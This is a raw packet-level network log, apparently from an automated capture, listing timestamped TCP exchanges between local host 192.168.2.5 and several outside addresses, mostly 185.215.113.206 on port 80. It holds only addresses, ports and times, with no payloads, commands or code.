Nov 17, 2024 03:42:44.177088976 CET	443	49917	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.179024935 CET	49922	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.179040909 CET	443	49922	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.179147959 CET	49922	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.179347992 CET	49922	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.179358006 CET	443	49922	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.188932896 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.188946009 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.188957930 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.189038992 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.189039946 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.224953890 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.224982023 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.224999905 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.225013018 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.225023985 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.225050926 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.225059032 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.225063086 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.225070000 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.225095987 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.225099087 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.225112915 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.225121975 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.225122929 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.225135088 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.225140095 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.225147009 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.225158930 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.225171089 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.225178957 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.225183964 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.225219965 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.225260019 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.225282907 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.225290060 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.225308895 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.225321054 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.225325108 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.225353003 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.225389004 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.225426912 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.225599051 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.225600004 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.225656986 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.225686073 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.225696087 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.225729942 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.225761890 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.225811005 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.225824118 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.225881100 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.225881100 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.226005077 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.226016998 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.226043940 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.226054907 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.226064920 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.226064920 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.226100922 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.226130962 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.226141930 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.226159096 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.226161957 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.226169109 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.226181030 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.226181984 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.226192951 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.226201057 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.226216078 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.226272106 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.226284027 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.226294994 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.226301908 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.226305962 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.226317883 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.226320028 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.226339102 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.226347923 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.226360083 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.226371050 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.226376057 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.226382971 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.226393938 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.226396084 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.226406097 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.226425886 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.226464033 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.226464033 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.226670980 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.226690054 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.226701021 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.226778030 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.226944923 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.226963997 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.226982117 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.226993084 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227001905 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.227005005 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227015972 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227026939 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.227029085 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227056026 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.227125883 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.227133989 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227145910 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227157116 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227168083 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227180004 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227190018 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227199078 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.227216959 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227227926 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227238894 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227246046 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.227246046 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.227250099 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227261066 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227267981 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.227272034 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227292061 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227298975 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.227308989 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227329969 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227336884 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.227336884 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.227355003 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227366924 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227376938 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227389097 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227391005 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.227391005 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.227400064 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227415085 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227415085 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.227427959 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227447987 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.227447987 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.227457047 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227468967 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227479935 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227489948 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227489948 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.227502108 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227507114 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.227513075 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227524996 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227525949 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.227550030 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227554083 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.227562904 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227574110 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227576017 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.227585077 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227605104 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.227610111 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227622032 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227627039 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227632999 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227643013 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.227643013 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.227644920 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227657080 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.227673054 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.227725983 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.228003025 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228013039 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228029013 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228039980 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228050947 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228059053 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.228086948 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.228117943 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228137016 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228149891 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228158951 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.228161097 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228172064 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228183985 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228195906 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228210926 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.228210926 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.228235960 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.228250980 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228260994 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228271961 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228281021 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.228283882 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228297949 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.228308916 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228321075 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228333950 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.228346109 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228353977 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.228358030 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228368044 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228374004 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.228379011 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228394032 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228409052 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.228427887 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228439093 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.228439093 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.228446960 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228463888 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228473902 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228485107 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228494883 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228506088 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228513002 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.228513956 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228524923 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228529930 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.228543997 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228554010 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228569031 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.228569031 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.228622913 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228641033 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228650093 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.228657007 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228668928 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228677988 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228688002 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.228688955 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228701115 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228708982 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.228727102 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.228763103 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.228786945 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228797913 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228807926 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.228836060 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.229091883 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.229238033 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229262114 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229273081 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229393005 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229403973 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229408026 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.229414940 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229441881 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229454994 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229465961 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229470968 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.229470968 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.229476929 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229487896 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229500055 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229507923 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.229523897 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229525089 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.229537010 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229547024 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229558945 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229568958 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229568005 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.229568005 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.229579926 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229593039 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229615927 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.229617119 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.229660988 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229671955 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229682922 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229693890 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229695082 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.229696035 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.229707956 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229736090 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.229743004 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229759932 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229770899 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229778051 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.229783058 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229794025 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229794025 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.229804993 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229815006 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229825020 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.229825974 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229840994 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.229845047 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.229859114 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.229912043 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.229912043 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.272466898 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.272480965 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.272491932 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.272555113 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.272568941 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.272583008 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.272629976 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.273484945 CET	443	49913	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:44.274626970 CET	49913	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:44.274679899 CET	443	49913	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:44.274882078 CET	443	49913	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:44.274915934 CET	49913	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:44.277350903 CET	49913	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:44.306149006 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.306168079 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.306181908 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.306288004 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.306288004 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.307926893 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.307981968 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.307993889 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.308007002 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.308029890 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.343883991 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.343907118 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.343945026 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344006062 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344026089 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.344027996 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344039917 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344048023 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.344049931 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344100952 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.344100952 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.344155073 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344166040 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344182968 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344192028 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344201088 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344212055 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344222069 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344232082 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.344232082 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344243050 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344263077 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.344269991 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344280005 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344290972 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344291925 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.344291925 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.344300985 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344311953 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344319105 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.344321966 CET	80	49797	185.215.113.206	192.168.2.5
